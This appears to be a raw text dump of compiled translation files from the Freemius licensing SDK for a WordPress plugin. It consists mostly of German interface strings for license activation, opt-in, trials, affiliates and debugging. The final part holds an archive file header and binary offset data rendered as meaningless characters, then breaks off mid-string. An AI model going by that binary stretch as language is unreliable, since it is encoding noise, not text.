auf den Link, um dein Konto zu aktivieren, und sende dann das Affiliate-Formular erneut.AktionenAktivierenAktiviere %sAktiviere %s PlanAktiviere %s FunktionenKostenlose Version freischaltenLizenz freischaltenAktiviere die Lizenz auf allen ausstehenden Seiten.Aktiviere die Lizenz auf allen Seiten im Netzwerk.Aktiviere dieses Add-onAktiviertAdd-Ons für %sAdd-Ons von Modul %sWeitere Domain hinzufügenAdd-onAdd-onsDas Add-on muss auf WordPress.org oder Freemius bereitgestellt werden.AdresseAdresse Zeile %dAffiliateAffiliateNach deinem kostenlosen %s zahlst du so wenig wie %sZustimmen & Lizenz aktivierenAlle AnfragenAlle ArtenErlauben & FortfahrenAlternativ kannst du auch diesen Schritt überspringen und die Lizenz später auf der Netzwerk-Kontoseite deines %s aktivieren.BetragEin automatischer Download und die Installation von %s (kostenpflichtige Version) von %s wird in %s starten. Wenn du es manuell machen möchtest - klicke jetzt auf den Abbruch-Button.Beim Versuch, den Beta-Modus für den Benutzers einzustellen, ist ein unbekannter Fehler aufgetreten.Beim Versuch, auf den White-Label-Modus der Lizenz umzuschalten, ist ein unbekannter Fehler aufgetreten.Ein unbekannter Fehler ist aufgetreten.Ein Update auf eine Beta-Version ersetzt deine installierte Version von %s durch die neueste Beta-Version - verwende sie mit Vorsicht und nur auf Testseiten. Du wurdest gewarnt.Anonymes FeedbackAuf alle ausstehenden Webseiten anwenden.Auf alle Seiten im Netzwerk anwenden.Bewirb dich, um ein Affiliate zu werdenSind %s und %s beide deine E-Mail-Adressen?Bist du sicher, dass du alle Freemius-Daten löschen möchtest?Bist du sicher, dass du fortfahren willst?Möchtest du wirklich mit der Trennung fortfahren?Da wir 30 Tage für mögliche Rückzahlungen reservieren, zahlen wir nur Provisionen aus, die älter als 30 Tage sind.Mit dem Konto des Lizenzinhabers verknüpfen.Die automatische Installation funktioniert nur für eingeloggte Nutzer.Verlängert sich automatisch in %sAutomatische InstallationDurchschnittliche BewertungFantastischPartner werdenBetaAbrechnungAbrechnung & RechnungenBlockierenBlog IDHauptteilPaketPaket-PlanGeschäftsnameJetzt eine Lizenz kaufenLizenz kaufenIndem du den Benutzer wechselst, stimmst du zu, den Besitz des Accounts zu übertragen:Durch das Trennen der Website werden zuvor geteilte Diagnosedaten über %1$sgelöscht und sind für %2$snicht mehr sichtbar.Du kannst deinen Lizenzschlüssel nicht finden?Abbrechen%s abbrechen & fortfahrenAbbrechen %s - Ich benötige keine Sicherheits- und Funktionsupdates mehr und auch keinen Support für %s, da ich nicht vorhabe, das %s auf dieser oder einer anderen Seite zu verwenden.%s abbrechen?Installation abbrechenAbonnement kündigenTestversion abbrechenAbgebrochenAbbruch von %sStoppe %s...Das Abonnement kündigenWenn du die Testversion abbrichst, wird der Zugang zu allen Premium-Funktionen sofort gesperrt. Bist du sicher?Lizenz ändernEigentümer wechselnPlan ändernBenutzer ändernKasseStadtAPI Cache löschenLöschen von Aktualisierungen RestenHier klickenKlicke hier, um das Plugin anonym zu nutzenKlicke, um Bewertungen zu sehen, die eine Bewertung von %s abgegeben habenKlicke, um den Screenshot in voller Größe zu sehen %dProdukteCodeKommunikationKompatibel bis zuKontaktKontaktiere SupportKontaktMitwirkendeKonnte %s nicht aktivieren.LandCron TypAktuelle %sund SDK-Versionen und falls aktiv oder deinstalliertDatumDeaktivierenLizenz deaktivierenWenn du das %s deaktivierst oder deinstallierst, wird die Lizenz hier automatisch deaktiviert und du kannst sie auf einer anderen Seite verwenden.Wenn du deine Lizenz deaktivierst, werden alle Premium-Funktionen gesperrt, aber du kannst die Lizenz auf einer anderen Seite aktivieren. Bist du sicher, dass du fortfahren möchtest?DeaktivierungDebug LogDer Debug-Modus wurde erfolgreich aktiviert und wird in 60 Minuten automatisch wieder deaktiviert. Du kannst ihn auch früher deaktivieren, indem du auf den Link "Stop Debug" klickst.An die Website Admins delegierenAlle Konten löschenDetailsDiagnoseinformationenDiagnosedaten werden nicht mehr von %s bis %sgesendet.Deaktivieren des White-Label-ModusDas Trennen der Website wird %sdauerhaft aus dem Konto Ihres Benutzer-Dashboards entfernt.%s bitte nicht stornieren - ich bin immer noch daran interessiert, Sicherheits- und Funktionsupdates zu erhalten, sowie den Support kontaktieren zu können.Du hast keinen Lizenzschlüssel?Für dieses Plugin spendenDowngrade deinen PlanDownloadDownload %s VersionBezahlte Version herunterladenLade die neueste %s Version herunterLade die neueste Version herunterHeruntergeladenAufgrund der neuen %sEU Datenschutzgrundverordnung (DSGVO)%s Compliance-Anforderungen ist es erforderlich, dass du deine ausdrückliche Zustimmung gibst und damit bestätigst, dass du an Bord bist :-)Aufgrund eines Verstoßes gegen unsere Partnerschaftsbedingungen haben wir beschlossen, dein Affiliate-Konto vorübergehend zu sperren. Wenn du Fragen hast, wende dich bitte an den Support.Duplizierte WebseiteWährend des Update-Prozesses haben wir %d Site(s) entdeckt, die noch auf eine Lizenzaktivierung warten.Während des Update-Prozesses haben wir %s Site(s) im Netzwerk entdeckt, die noch deine Aufmerksamkeit benötigen.E-MailE-Mail-AdresseE-Mail-Adresse aktualisierenAktivieren des White-Label-ModusEndeE-Mail-Adresse eingebenGib die Domain deiner Website oder anderer Webseiten an, von denen aus du planst, %s zu bewerben.Gib die E-Mail-Adresse ein, die Du beim Kauf verwendet hast, und wir senden Dir den Lizenzschlüssel erneut zu.Gib unten die E-Mail-Adresse ein, die du für das Upgrade verwendet hast und wir senden dir den Lizenzschlüssel erneut zu.Gib die neue E-Mail-Adresse einFehlerFehler vom Server empfangen:AbgelaufenLäuft in %s abErweiterungenExtra DomainsZusätzliche Domains, von denen aus du das Produkt vermarkten wirst.DateiFilterUm die Richtlinien von WordPress.org einzuhalten, bitten wir dich vor dem Start der Testversion um ein Opt-In mit deinen Benutzer- und nicht sensiblen Seite-Informationen, damit %s regelmäßig Daten an %s senden kann, um nach Versions-Updates zu suchen und um deine Testversion zu validieren.Für die Bereitstellung von Sicherheits- und Funktionsupdates sowie die Lizenzverwaltung muss %sKostenlosKostenlose TestversionKostenlose VersionFreemius APIFreemius DebugDas Freemius SDK konnte die Hauptdatei des Plugins nicht finden. Bitte kontaktiere sdk@freemius.com mit dem aktuellen Fehler.Freemius StatusFreemius ist unser Dienstleister für Lizenzierung und Software-UpdatesVollständiger NamePositionErhalte Provisionen für automatisierte Abonnementverlängerungen.Erhalte Updates für aktuelle Beta-Versionen von %s.Toll, bitte installiere cURL und aktiviere es in deiner php.ini Datei. Suche außerdem nach der 'disable_functions' Direktive in deiner php.ini Datei und entferne alle deaktivierten Methoden, die mit 'curl_' beginnen. Um sicherzustellen, dass sie erfolgreich aktiviert wurde, benutze 'phpinfo()'. Danach aktiviere, deaktiviere das %s und aktiviere es anschließend wieder.Hast du einen Lizenzschlüssel?Hallo, wusstest du, dass %s ein Partnerprogramm hat? Wenn du die %s magst, kannst du unser Affiliate werden und etwas Geld verdienen!URL und Titel der Homepage, WP- und PHP-Versionen und Sprache der WebsiteWie gefällt dir %s bis jetzt? Teste alle %s-Premium-Funktionen mit der kostenlosen %d-Tage-Testversion.Wie kann ich es hochladen und aktivieren?Wie wirst du uns bewerben?Ich stimme zu - ändere den BenutzerIch kann es nicht mehr bezahlenIch habe nicht gewusst wie ich es zum Laufen bringeIch weiß nicht, was cURL ist oder wie man es installiert. Bitte hilf mir!Ich möchte meine Informationen nicht mit dir teilenIch habe ein besseres %s gefundenIch habe mein Konto hochgestuft, aber wenn ich versuche, die Lizenz zu synchronisieren, bleibt der Plan %s.Ich brauche das %s nicht mehrIch habe das %s nur für einen kurzen Zeitraum benötigtIDWenn dies ein langfristiges Webseiten-Duplikat ist, dann brauchst du nach %s bitte %s.Wenn du es anklickst, wird diese Entscheidung an die Administratoren der Seite delegiert.Wenn du einen Moment Zeit hast, lass uns bitte wissen, warum du das Plugin deaktivieren willst:Wenn Du das überspringst, ist das in Ordnung! %1$swird immer noch funktionieren.Wenn Du stattdessen das Abonnement deines %1$sPlans kündigen möchtest, navigiere bitte zu %2$sund kündige es dort.Wenn du die Eigentümerschaft des Kontos von %s an %s abgeben möchtest, klicke auf den Button Eigentümer wechseln.Wenn du das %s auf diesen Seiten nutzen möchtest, gib bitte deinen Lizenzschlüssel unten ein und klicke auf den Aktivierungsbutton.Wichtiger Hinweis zum Upgrade:In %sFür den Fall, dass du NICHT vorhast, diesen %s auf dieser Seite (oder einer anderen Seite) zu verwenden - möchtest du den %s auch löschen?Kostenlose Version jetzt installierenUpdate der kostenlosen Version jetzt installierenJetzt installierenUpdate jetzt installierenInstalliere das Plugin: %sUngültige Klon-Auflösungsaktion.Ungültige Modul-ID.Ungültige neue Benutzer-ID oder E-Mail Adresse.Ungültige Website-Detailsammlung.RechnungIst %2$s ein Duplikat von %4$s?Ist %2$s eine neue Website?Wurde %4$s auf %2$s umgezogen?Ist AktivIst aktiv, deaktiviert oder deinstalliertIst dies die Seite deines Kunden? %s wenn du sensible Informationen wie deine E-Mail, Lizenzschlüssel, Preise, Rechnungsadresse & Rechnungen vor dem WP Admin verstecken möchtest.Es sieht so aus, als ob die Lizenz nicht aktiviert werden konnte.Es sieht so aus, als wäre die Lizenzdeaktivierung fehlgeschlagen.Es sieht so aus, als wärst du nicht mehr im Testmodus, also gibt es nichts zu stornieren :)Es sieht so aus, als wärst du immer noch im %s-Plan. Wenn du ein Upgrade oder einen Planwechsel durchgeführt hast, ist das wahrscheinlich ein Problem auf unserer Seite - sorry.Es sieht so aus, als ob deine Seite derzeit keine aktive Lizenz hat.Das erfordert eine Lizenzaktivierung.Es scheint, dass einer der Authentifizierungsparameter falsch ist. Aktualisiere deinen Public Key, Secret Key & User ID und versuche es erneut.Es ist eine temporäre %s - ich behebe ein ProblemEs ist nicht das, wonach ich gesucht habeAm Beta Programm teilnehmenIch wollte dich nur darauf hinweisen, dass die Add-on-Informationen von %s von einem externen Server bezogen werden.Weiter teilenBehalten automatische Updates beiSchlüsselBitte teile uns mit, was nicht funktioniert hat, damit wir es für zukünftige Nutzer beheben können...Bitte nenne uns den Grund, damit wir uns verbessern können.LetzteZuletzt aktualisiertLetzte LizenzAktuellste kostenlose Version installiertAktuellste Version installiertMehr erfahrenLängeLizenzLizenzvertragLizenz IDLizenzschlüsselLizenzprobleme?LizenzschlüsselDer Lizenzschlüssel ist leer.LebenslangMagst du %s? Werde unser Botschafter/Affiliate und verdiene Geld ;-)Lade DB EinstellungLocalhostLogLoggerLangfristiges DuplikatNachrichtMethodeMigrierenLizenz migrierenMigriere die Einstellungen ins NetzwerkMobile AppsModulModul PfadModul TypMehr Informationen über %sNameNamen, Slugs, Versionen und ob aktiv oder nichtNetzwerk BlogNetzwerk BenutzerVerpasse nie wieder ein wichtiges UpdateVerpasse keine wichtigen Updates, erhalte Sicherheitswarnungen, bevor sie öffentlich bekannt werden, und erhalte Benachrichtigungen über Sonderangebote und tolle neue Funktionen.NeuNeue Version verfügbarNeue WebsiteNeuere kostenlose Version (%s) InstalliertNeuere Version (%s) InstalliertNewsletterNächsteNeinNein - nur deaktivierenNein - verschiebe nur die Daten dieser Seite nach %sKeine IDKeine Verpflichtung für %s - jederzeit kündigenKeine Verpflichtung für %s Tage - jederzeit kündbar!Keine Kreditkarte erforderlichKein AblaufdatumNicht auslaufendKeiner der Pläne von %s unterstützt eine Probezeit.OKSobald deine Lizenz abläuft, kannst du die Free Version immer noch nutzen, aber du hast KEINEN Zugriff auf die %s Features.Sobald deine Lizenz abläuft, kannst du das %s nicht mehr nutzen. Es sei denn, du aktivierst ihn erneut mit einer gültigen Premiumlizenz.Opt-InAbmeldenMelde dich an, um E-Mail-Benachrichtigungen für Sicherheits- und Funktionsupdates zu erhalten und einige grundlegende Informationen zur WordPress-Umgebung zu teilen.Melde dich an, um E-Mail-Benachrichtigungen für Sicherheits- und Funktionsupdates zu erhalten und einige grundlegende Informationen zur WordPress-Umgebung zu teilen. Dies wird uns helfen, die Kompatibilität von %smit Ihrer Website zu verbessern und uns auf das zu konzentrieren, was du benötigst.Melden dich an, um E-Mail-Benachrichtigungen für Sicherheits- und Funktionsupdates, Bildungsinhalte und gelegentliche Angebote zu erhalten und einige grundlegende Informationen zur WordPress-Umgebung zu teilen.Melde dich an, um E-Mail-Benachrichtigungen für Sicherheits- und Funktionsupdates, Bildungsinhalte und gelegentliche Angebote zu erhalten und einige grundlegende Informationen zur WordPress-Umgebung zu teilen. Dies wird uns helfen, die Kompatibilität mit deiner Website zu verbessern und uns auf das zu konzentrieren, was du benötigst.Mach mit, um "%s" besser zu machen!AndereBesitzer EmailBesitzer IDName des BesitzersPCI-konformDas kostenpflichtige Add-on muss auf Freemius veröffentlicht werden.PayPal Konto E-Mail AdresseZahlungenDie Auszahlungen erfolgen in USD und werden monatlich über PayPal abgewickelt.PlanPlan %s existiert nicht, es kann keine Testversion gestartet werden.Der Plan %s unterstützt keine Probezeit.Plan IDBitte kontaktiere uns hierBitte kontaktiere uns mit der folgenden Nachricht:Bitte lade %s herunter.Bitte gib den Lizenzschlüssel ein, den du in der E-Mail direkt nach dem Kauf erhalten hast:Bitte gib den Lizenzschlüssel ein, um den Debug-Modus zu aktivieren:Du kannst uns gerne relevante Statistiken über deine Website oder soziale Medien zur Verfügung stellen, z.B. monatliche Besuche der Website, Anzahl der E-Mail-Abonnenten, Follower, etc. (wir werden diese Informationen vertraulich behandeln).Bitte folge diesen Schritten, um das Upgrade abzuschließenBitte lass uns wissen, wenn du möchtest, dass wir dich für Sicherheits- und Funktionsupdates, Bildungsinhalte und gelegentliche Angebote kontaktieren:Bitte beachte, dass wir nicht in der Lage sind, veraltete Preise für Verlängerungen/neue Abonnements nach einer Kündigung beizubehalten. Wenn du dich dafür entscheidest, das Abonnement in Zukunft nach einer Preiserhöhung, die in der Regel einmal im Jahr stattfindet, manuell zu verlängern, wird dir der aktualisierte Preis berechnet.Bitte gib Details an, wie du beabsichtigst, %s zu fördern (bitte sei so genau wie möglich).Bitte gib deinen vollständigen Namen an.PluginPlugin HomepagePlugin IDPlugin installierenChangelogBeschreibungFAQFunktionen & PreiseInstallationWeitere NotizenBewertungenDas Plugin ist eine "Serviceware", was bedeutet, dass es keine Premium Version hat.PluginsPlugins & Themes SyncPremiumPremium %s Version wurde erfolgreich aktiviert.Premium Add-on Version bereits installiert.Premium VersionPremium Version bereits aktiv.PreiseDatenschutzrichtlinieFortfahrenProzess-IDVerarbeitungProdukteProgramm ZusammenfassungPromotion MethodenProvinzÖffentlicher SchlüsselLizenz kaufenMehr kaufenSchnelles FeedbackKontingentAktivierungsmail erneut sendenEmpfehle neue Kunden an unsere %s und verdiene %s Provision für jeden erfolgreichen Verkauf, den du vermittelst!Lizenz erneuernVerlängere deine Lizenz jetztAnfragenRequires PHP VersionBenötigt WordPress VersionZurücksetzen des Deaktivierungs-SchlummernsErgebnisSDKSDK Pfad%s speichernGespeichertGeplante CronsScreenshotsSuche über die AdresseGeheimer SchlüsselSichere HTTPS %s Seite, die von einer externen Domain geladen wirdEs scheint, als ob wir ein temporäres Problem mit der Kündigung deines Abonnements haben. Bitte versuche es in ein paar Minuten erneut.Es scheint, als hätten wir ein temporäres Problem mit der Abmeldung deiner Testversion. Bitte versuche es in ein paar Minuten erneut.Sieht so aus, als hättest du die neueste Version.Land auswählenLizenzschlüssel sendenDB Option setzenDas Teilen von Diagnosedaten mit hilft dabei, Funktionen bereitzustellen, die für deine Website relevanter sind, Inkompatibilitäten mit WordPress- oder PHP-Versionen zu vermeiden, die deine Website beschädigen können, und zu erkennen, auf welche Sprachen und Regionen das Plugin übersetzt und angepasst werden sollte.Netzwerk Upgrade simulierenTrial Promotion simulierenEinzelplatzlizenzWebseiten-IDWebseite erfolgreich eingeloggt.WebseitenÜberspringen & %sURLSnooze & %sSo kannst du die Lizenz wiederverwenden, wenn die %s nicht mehr aktiv ist.Soziale Medien (Facebook, Twitter, etc.)Wir entschuldigen uns für die Unannehmlichkeiten und sind hier, um zu helfen, wenn du uns eine Chance gibst.Sorry, wir konnten das E-Mail-Update nicht abschließen. Ein anderer Benutzer mit der gleichen E-Mail ist bereits registriert.StartDebugging startenStarte TestversionStarte mein kostenloses %sStaatBleib in KontaktDebugging stoppenAbsendenAbschicken & %sAbonnementUnterstützungSupport ForumDaten vom Server synchronisierenSteuer-/Umsatzsteuer-IDAllgemeine GeschäftsbedingungenDanke, dass du uns die Chance gibst, das Problem zu beheben! Eine Nachricht wurde soeben an unser technisches Personal gesendet. Wir werden uns bei dir melden, sobald wir ein Update für %s haben. Wir danken dir für deine Geduld.Vielen Dank, dass du dich für unser Partnerprogramm beworben hast. Leider haben wir uns an dieser Stelle entschieden, deine Bewerbung abzulehnen. Bitte versuche es in 30 Tagen erneut.Vielen Dank, dass du dich für unser Partnerprogramm beworben hast. Wir werden deine Angaben in den nächsten 14 Tagen überprüfen und uns mit weiteren Informationen bei dir melden.Vielen Dank für die Aktualisierung auf %1$s v %2$s!Vielen Dank, dass du %s und seine Add-ons benutzt!Vielen Dank, dass du %s benutzt!Vielen Dank, dass du unsere Produkte benutzt!Danke dir!Danke %s!Danke für die Bestätigung des Eigentümerwechsels. Eine E-Mail wurde soeben an %s zur endgültigen Genehmigung gesendet.%1$swird regelmäßig wichtige Lizenzdaten an %2$ssenden, um nach Sicherheits- und Funktionsaktualisierungen zu suchen und die Gültigkeit Ihrer Lizenz zu überprüfen.Das %s hat meine Seite kaputt gemachtDas %s hat nicht funktioniertDas %s hat nicht wie erwartet funktioniertDas %s ist toll, aber ich brauche ein bestimmtes Feature, das nicht unterstützt wirdDas %s funktioniert nichtDas %s funktionierte plötzlich nicht mehrDie folgenden ProdukteDer Installationsprozess hat begonnen und kann ein paar Minuten dauern. Bitte warte, bis er abgeschlossen ist - lade diese Seite nicht neu.Die folgenden Produkte wurden in den abgesicherten Modus versetzt, weil wir festgestellt haben, dass %2$s eine exakte Kopie von %3$s:%1$s istDie folgenden Produkte wurden in den abgesicherten Modus versetzt, weil wir festgestellt haben, dass %2$s eine exakte Kopie dieser Seiten ist:%3$s%1$sDas Remote-Plugin-Paket enthält keinen Ordner mit dem gewünschten Slug und das Umbenennen hat nicht funktioniert.Das Upgrade von %s wurde erfolgreich abgeschlossen.ThemeTheme wechselnThemesEs ist ein %s von %s verfügbar.Es ist eine neue Version von %s verfügbar.Beim Verarbeiten Ihrer Anfrage ist ein unerwarteter API-Fehler aufgetreten. Bitte versuche es in ein paar Minuten erneut und wenn es immer noch nicht funktioniert, kontaktiere den Autor von %s mit den folgenden Angaben:Dieses Plugin wurde als nicht kompatibel mit deiner Version von WordPress markiert.Dieses Plugin wurde nicht mit deiner derzeitigen Version von WordPress getestet.This plugin requires a newer version of PHP.Dies wird es %s ermöglichenZeitstempelTitelUm zu vermeiden, dass deine Website aufgrund von WordPress- oder PHP-Versionsinkompatibilitäten beschädigt wird, und um zu erkennen, welche Sprachen und Regionen von %sübersetzt und angepasst werden sollten.Um die Kompatibilität zu gewährleisten und Konflikte mit deinen installierten Plugins und Themes zu vermeiden.Um in den Debug-Modus zu gelangen, gib bitte den geheimen Schlüssel des Lizenzinhabers (UserID = %d) ein, den du in deinem "Mein Profil"-Bereich deines "Benutzer Dashboards" findest:Damit du verwalten und kontrollieren kannst, wo die Lizenz aktiviert wird, und um sicherzustellen, dass %s Sicherheits- und Funktionsupdates nur an von dir autorisierte Websites geliefert werden.Um zusätzliche Funktionen bereitzustellen, die für deine Website relevant sind, Inkompatibilitäten von WordPress- oder PHP-Versionen, die deine Website beschädigen können, und um zu erkennen, welche Sprachen und Regionen für %sübersetzt und angepasst werden sollten.TotalStadtTestversionTypEs kann keine Verbindung zum Dateisystem hergestellt werden. Bitte bestätige deine Anmeldedaten.Unbegrenzt LizenzenUnbegrenzte UpdatesUnbegrenzte Provisionen.Bis zu %s SeitenUpdateLizenz aktualisierenUpdates, Ankündigungen, Marketing, kein SpamUpgradeLade die heruntergeladene Version hoch und aktiviere sieBenutzer DashboardBenutzer-IDBenutzerschlüsselBenutzerWertVerifizierungsmail wurde gerade an %s gesendet. Wenn du sie nach 5 Minuten nicht finden kannst, überprüfe bitte deine Spam-Ordner.VerifiziertE-Mail verifizierenVersion %s wurde freigegeben.%s Status anzeigenGrundlegende %sInformationen anzeigenGrundlegende Profilinformationen anzeigenGrundlegende Website-Informationen anzeigenDiagnoseinformationen anzeigenGrundlegende Lizenzen anzeigenListe der Plugins & Themes anzeigenDetails ansehenBezahlte Funktionen ansehenWarnungWir können keine aktiven Lizenzen sehen, die mit dieser E-Mail-Adresse verbunden sind. Bist du sicher, dass es die richtige Adresse ist?Wir konnten deine E-Mail-Adresse nicht im System finden. Bist du sicher, dass dies die richtige Adresse ist?Wir konnten die Liste der Add-ons nicht laden. Es ist wahrscheinlich ein Problem auf unserer Seite, bitte versuche es in ein paar Minuten wieder.Wir haben dieses Opt-in eingeführt, damit du kein wichtiges Update verpasst und uns hilfst, die Kompatibilität von %smit deiner Website zu verbessern und uns auf das zu konzentrieren, was du benötigst.Wir haben ein paar Anpassungen an den %s, %s gemachtWir stellen sicher, dass wir dein Hosting-Unternehmen kontaktieren und das Problem beheben. Du bekommst eine Folge-E-Mail an %s, sobald wir ein Update haben.Wir freuen uns, dir die Freemius Netzwerk-Integration vorstellen zu können.Website-, E-Mail- und Social Media-Statistiken (optional)Willkommen bei %s! Um loszulegen, gib bitte deinen Lizenzschlüssel ein:Was hast du erwartet?Welche Funktion?Wie lautet dein(e) %s?Welchen Preis würdest du als gerechtfertigt erachten?Wonach hast du gesucht?Wie lautet der Name des %s?Wo wirst du %s bewerben?WordPress- und PHP-Versionen, Sprache und Titel der WebsiteWordPress.org Plugin SeiteMöchtest du %s in %s zusammenführen?Willst du mit dem Update fortfahren?JaJa - %sJa - beide Adressen sind meineJa - mach dein DingJa - verschiebe alle meine Daten und Vermögenswerte von %s nach %sJa, %%2$s ersetzt %%4$s. Ich möchte meine %s von %%4$s nach %%2$s migrieren.Ja, %2$s ist ein Duplikat von %4$s für Test-, Staging- oder Entwicklungszwecke.Ja, %2$s ist eine neue und andere Website, die von %4$s getrennt ist.Du hast schon einmal einen Testzeitraum in Anspruch genommen.Du bist einen Klick davon entfernt, deinen kostenlosen %1$s-Tage Testzeitraum des %2$s-Planes zu starten.Ihr seid alle gut!Du testest %s bereits.Du bist nur einen Schritt entfernt - %sDu kannst immer noch alle %s-Funktionen nutzen, aber du wirst keinen Zugang zu %s-Sicherheits- und Funktionsupdates und keinen Support bekommen.Du hast keine gültige Lizenz, um auf die Premium-Version zuzugreifen.Du hast eine %s Lizenz.Du hast eine %s-Lizenz erworben.Du hast deine %s erfolgreich aktualisiert.Du hast diese Website, %s, als temporäres Duplikat von %s markiert.Du hast diese Website, %s, als temporäres Duplikat dieser Websites markiertDu hast es vielleicht übersehen: du musst keine Daten teilen und kannst einfach das Opt-in %s.You should receive a confirmation email for %s to your mailbox at %s. Please make sure you click the button in that email to %s.Du hast dich bereits für unser Nutzungs-Tracking entschieden, was uns hilft, %s weiter zu verbessern.Du hast Dich bereits für unser Nutzungs-Tracking entschieden, was uns hilft, die Benutzerfreundlichkeit weiter zu verbessern.Dein %s Add-on Plan wurde erfolgreich upgegradet.Deine %s kostenlose Testversion wurde erfolgreich storniert.Deine %s-Lizenz wurde als White-Label gekennzeichnet, um sensible Informationen vor dem WP Admin zu verbergen (z.B. deine E-Mail, Lizenzschlüssel, Preise, Rechnungsadresse und Rechnungen). Solltest du das wieder rückgängig machen wollen, kannst du das ganz einfach über dein %s tun. Wenn dies ein Fehler war, kannst du es auch %sDeine %s-Lizenz wurde erfolgreich deaktiviert.Dein WordPress-Benutzer: Vor- und Nachname und E-Mail-AdresseDein Konto wurde erfolgreich mit der %s-Lizenz aktiviert.Dein Affiliate-Antrag für %s wurde angenommen! Logge dich in deinen Affiliate-Bereich ein unter: %s.Dein Mitgliedskonto wurde vorübergehend gesperrt.Deine E-Mail wurde erfolgreich verifiziert - Glückwunsch!Deine kostenlose Testversion ist abgelaufen. %1$sUpgrade jetzt%2$s, um das %3$s weiterhin ohne Unterbrechungen zu nutzen.Dein kostenloser Testzeitraum ist abgelaufen. Du kannst aber weiterhin alle unsere kostenlosen Funktionen nutzen.Deine Lizenz wurde gelöscht. Wenn du denkst, dass es ein Fehler ist, kontaktiere bitte den Support.Deine Lizenz ist abgelaufen. %1$sUpgrade jetzt%2$s, um das %3$s weiterhin ohne Unterbrechungen zu nutzen.Deine Lizenz ist abgelaufen. Du kannst weiterhin alle %s Funktionen nutzen, aber du musst deine Lizenz erneuern, um weiterhin Updates und Support zu erhalten.Deine Lizenz ist abgelaufen. Du kannst das kostenlose %s trotzdem für immer weiter nutzen.Deine Lizenz wurde erfolgreich aktiviert.Deine Lizenz wurde erfolgreich deaktiviert, du bist zurück im %s Plan.Dein Name wurde erfolgreich aktualisiert.Dein Plan wurde erfolgreich aktiviert.Dein Plan wurde erfolgreich auf %s geändert.Dein Plan wurde erfolgreich upgegradet.Dein Server blockiert den Zugriff auf Freemius' API, die für die %1$s-Synchronisation entscheidend ist. Bitte kontaktiere deinen Host, um %2$s auf die Whitelist zu setzenDein Abonnement wurde erfolgreich gekündigt. Dein %s Plan wird in %s ablaufen.Dein Testzeitraum wurde erfolgreich gestartet.PLZ / PostleitzahlDirekt anLizenz hier aktivierenAktiv%s kann nicht ohne %s laufen.%s kann ohne das Plugin nicht laufen.Kopf hocherlauben%s übrigAktivieren vonJahrAPIVerwerfenFehlersucheHerzlichen GlückwunschBlockiertVerbundenNeuester DownloadNeueste kostenlose Version herunterladenMonatlichVerfallsPfadE-Mail sendenmtl.JährlichJährlichEinmalPlanKein geheimer SchlüsselSDK VersionenLizenzSyncSynchronisiere LizenzAutorAusAnbasierend auf %sStarte die kostenlose TestversionSchließenSchließencomplete the opt-inDatenTagedeaktivieredelegiereschicke mir %sKEINE%s Sicherheits- und Funktionsupdates, Bildungsinhalte und Angebote.%s PlanAbgerechnet wird %sBesteHeyHopplaHey %s,StundeStundenInstalliertHurraLizenzWebseitenmsneue Beta Versionneue Versionnicht geprüftPreisPreiseoptionalVersionProduktejetzt rückgängig machen.ses scheint, dass der von dir eingegebene Schlüssel nicht mit unseren Aufzeichnungen übereinstimmt.schicke mir Sicherheits- und Funktionsupdates, Bildungsinhalte und Angebote.überspringendie Testversion startenAbonnementveränderedie oben erwähnten Websitesdie neueste %s Version hiertesteTestLöschenDowngradeBearbeitenVersteckenAnmeldenAbmeldenKaufenAnzeigenÜberspringenUpdateUpgradevor %svendor/freemius/languages/freemius-en.mo000064400000205647147600365160014430 0ustar00$,*X8AY88n>929Z9h;:d:S ;%]; ; ;;;;6[<<_G===#=>%> B> O> Y>d>k>s>|>>@>H>?O*?Mz?j?3@@@@AA*AAA AAAAB&!B-HBvB BBBBBB5BCC )C 3C'?CgC C CCoCDDGDTE[EzE$F7F"SFvF(F2F!F>GaPG+G0GH!H8HGHOHcHhHpHHHHH H HH HEHyIIIII cJnJJ J J JJJYJBKQK bK nKzKKKK K(K1K%L:=LxL }LLLL L LLL L7L,M 1M*]mi]g]p?^^^y^J_c_ ___ __%_ `3`;`X`o` `&``1Ta.aOabAbbyb2acccac ,d9dPdBTd,dd d dde e%e,e4e Fe Qe]e meyee4ee eeeef fff,f GfSf Zf ffrff,f f fffgg g!gg g hhh%&hLh%Rh+xhh h h/him i~yiiiuj}jYkkmm %m1m :m Em)Sm}mm4mm5m(n) @&a<DőZ eTR;..-;,9hZ3<1bnPіU"_xؗKs(G#0%T)z$əUT)Ԛ;06l>#$9^x&Μ*7 Xo3ڝ1*N1yǞ#۞- =Ii Nɟ7Up1Ƞ& 7 C P [hq 9C*Q/ ¢ݢ    % 1 > L V ` l yoA8nۧJZShd|% ˩שީ6Ϊ_#>%X ~ @ɬH SOfMjo !)9Ưί ׯ &0-W Ȱ۰5 ( 8 B'Nv o'.GͲTj3F"b(2˴!> a_+00GV^rw ɶ ۶Ey-ķ˷߷ r} ʸ۸YQ` q } (˹1%&LU Zhy  Ǻ7Ѻ x, : GQ5*`X{tԽIcy¾ ¿Z[lf/ 5CXrvY_aD ;SX_O^ jR5a 32AS~g:U!w)8-@nS'gM7>mFgpy'@ `l % 5L j&t11.cOAby2>qa -B1,t    # .: JVl4u  $0 7 COi,n vz ! %)%/+U /m~VuZ6   ")0Zw45(!-8fUz61~[ 0: I S_c v N. );eu   (7=WV  (/3<DJ Zf x5sl-& -AIe ku z=&Lf8    $ :GX%5/[) \H C(lm@xd'- 'MG,^ SXME#6H_nu** dx   % @M`ihWn*">aB6(=_ -&3/Z#*/2QbUD $OMt/o$> & <2DoZTR.8.g-;9ZL3<bP{U_"K(iG#%)$$NsU)T~!  '1: BL\y         ( < A  F S N\                   + 1 9 B J  S a 9e C       - H N T  [ e j o v ~      wk|{ &~2kd(d+.g""K{!9X(C4sg\\Jxoru9vEjzJ1 Ns%n,We^6* >tg@e+/_^i#6=4Bx7iyHZ*f20cRUAVp41IhJz  b:~'8y? 5Yjnm[-}\),m?j3$u!S.;ZN5ClN':Htr$o >tLw@{zDC:!M6<]yDBQKBK2_pPEu 3OYpHQXf=##[S|8Rs0aEIl9}em"SM.W(_~)l P]q/XvFn8]^OkLW$7UP% Ywhoba3<1=@[Zr%c?}`G-bQ;<v'`dFV|qIMA*T),>a&q 0 D ;GRc GT/ F+UT7VxhO-i `& ALf5 %s to access version %s security & feature updates, and support. The %s's %sdownload link%s, license key, and installation instructions have been sent to %s. If you can't find the email after 5 min, please check your spam box. The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$s"The ", e.g.: "The plugin"The %s's%1$s has been placed into safe mode because we noticed that %2$s is an exact copy of %3$s.%1$s will immediately stop all future recurring payments and your %2$s plan license will expire in %3$s.%1$s will immediately stop all future recurring payments and your %s plan 